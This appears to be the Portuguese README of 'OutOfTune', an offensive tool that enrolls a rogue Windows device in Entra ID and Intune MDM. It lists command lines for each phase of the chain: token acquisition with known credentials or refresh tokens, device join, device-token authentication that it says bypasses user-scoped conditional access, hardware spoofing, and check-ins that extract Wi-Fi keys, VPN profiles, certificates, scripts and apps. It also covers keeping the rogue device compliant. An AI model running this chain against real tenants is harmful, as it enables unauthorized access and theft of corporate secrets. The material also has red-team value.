
Ferramenta de inscrição de dispositivos rogue para Entra ID e Intune MDM. Automatiza a junção de dispositivos, aquisição de token, inscrição MDM e check-in OMA-DM para extrair políticas, credenciais Wi-Fi, scripts e aplicativos, contornando o acesso condicional.
Inspirado pelo Pytune original, o OutOfTune registra um dispositivo invasor no Entra ID, inscreve-o no Intune MDM e verifica o estado de conformidade resultante.
Suporta apenas dispositivos Windows, pois este era meu objetivo principal; talvez adicione outros no futuro.
Blog de acompanhamento:
pip install -r requirements.txt
A cadeia é executada em fases, cada uma baseada no estado salvo em chain_state.json.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (credenciais conhecidas):
python OutOfTune.py drs-token -u [email protected] -p Password1!
Token pré-obtido:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
Gera <NOMEDODISPOSITIVO>.pfx - o certificado do dispositivo. A senha é password.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
Autentica no AAD como o objeto do dispositivo (não como um usuário). Ignora políticas de CA com escopo de usuário.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
Executa a descoberta SOAP contra o endpoint MDM e, em seguida, envia uma solicitação de inscrição WS-Trust PKCS10. Gera <NOMEDODISPOSITIVO>_mdm.pfx.
Use --profile para falsificar os atributos de hardware/OS do dispositivo enviados ao Intune (consulte Perfis de Dispositivo).
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
Executa o loop OMA-DM SyncML contra r.manage.microsoft.com. O Intune enviará perfis de configuração, atribuições de aplicativos e quaisquer outras políticas direcionadas ao dispositivo. Após a conclusão do loop, as informações são automaticamente extraídas e exibidas.
Se -r for fornecido, o refresh token é trocado por um token de acesso do manage.microsoft.com e enviado como Authorization: Bearer em cada solicitação SyncML. O Intune lê o UPN deste token e o define como o usuário principal do dispositivo, fazendo com que as políticas de conformidade com escopo de usuário sejam vinculadas. Você só precisa executar uma vez com -r para que um usuário seja atribuído; todos os check-ins subsequentes podem ser executados sem um refresh token.
Sem -r, o dispositivo não terá usuário principal.
Após este check-in inicial, se você não fizer check-in novamente por um período prolongado (geralmente 5-7 dias), o dispositivo pode ficar fora de conformidade devido à política padrão "Is Active". Dependendo da configuração do Intune, o dispositivo pode entrar em um período de carência antes de ser marcado como não conforme. Se isso acontecer, execute mdm-checkin novamente. Se você usou anteriormente um refresh token para atribuir um usuário principal, isso não precisa ser enviado novamente, pois o usuário principal agora está armazenado no backend do Intune.
| Flag | Descrição |
|---|---|
--cert FILE | PFX MDM a ser usado — o nome do dispositivo é derivado automaticamente do nome do arquivo |
-r RT | Refresh token do usuário — define o usuário principal (necessário apenas uma vez) |
-O DIR | Salvar artefatos extraídos em DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml DIR | Salvar XML SyncML bruto por rodada em DIR para análise posterior offline |
-o FILE | Escrever toda a saída do console em FILE |
| Categoria | Salvo em | Notas |
|---|---|---|
| Perfis Wi-Fi | wifi/<SSID>.xml + _psk.txt | PSK em texto puro extraído, se presente |
| Perfis VPN | vpn/<name>.xml | ProfileXML completo |
| Payloads de certificado | certs/cert_N.b64 | Blobs PFX criptografados (brutos, ainda não descriptografados) |
| Desafios SCEP | exibido | Nome do modelo CA, URL do desafio |
| Scripts | scripts/<name>.ps1 | Scripts PowerShell enviados via OMA-DM |
| URLs de download MSI | exibido | Links diretos de CDN para aplicativos LOB |
| Blob ODJ | odj_blob.b64 + odj_strings.txt | Offline Domain Join — strings legíveis extraídas |
| Valores Add | add_values.json | Todos os outros comandos Add (certificados de CA raiz, integração MDE, configuração de políticas) |
| Valores Replace | policy_values.json | Valores de CSP de política definidos pelo Intune |
Re-analisar as rodadas XML brutas salvas com --save-syncml sem executar um check-in ao vivo.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!
Gera um PRT a partir do certificado do dispositivo, troca-o por um token IWService e consulta IWService/Devices pelo estado de conformidade do dispositivo e quaisquer regras não conformes.
Use -r com um refresh token de sessão MFA se o CA do locatário exigir MFA para o recurso de inscrição.
Busca aplicativos Win32 e scripts PowerShell atribuídos ao dispositivo via IME SideCarGateway. Usa apenas o certificado do cliente MDM — nenhum token de usuário é necessário.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1apps/<AppName>/Busca scripts de remediação proativa (pares de detecção + remediação) atribuídos ao dispositivo.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
Cada política é salva em remediations/<PolicyId>/ contendo:
detection.ps1 — o script de detecçãoremediation.ps1 — o script de remediaçãoparams.json — ID da política e quaisquer parâmetros de scriptSe a remoção do dispositivo do Intune falhar, exclua-o do Entra. Ele então entrará em um período de carência no Intune e será automaticamente removido posteriormente.
Remover o dispositivo do Intune:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Remover o objeto do dispositivo do Entra ID:
python OutOfTune.py entra-delete
python OutOfTune.py status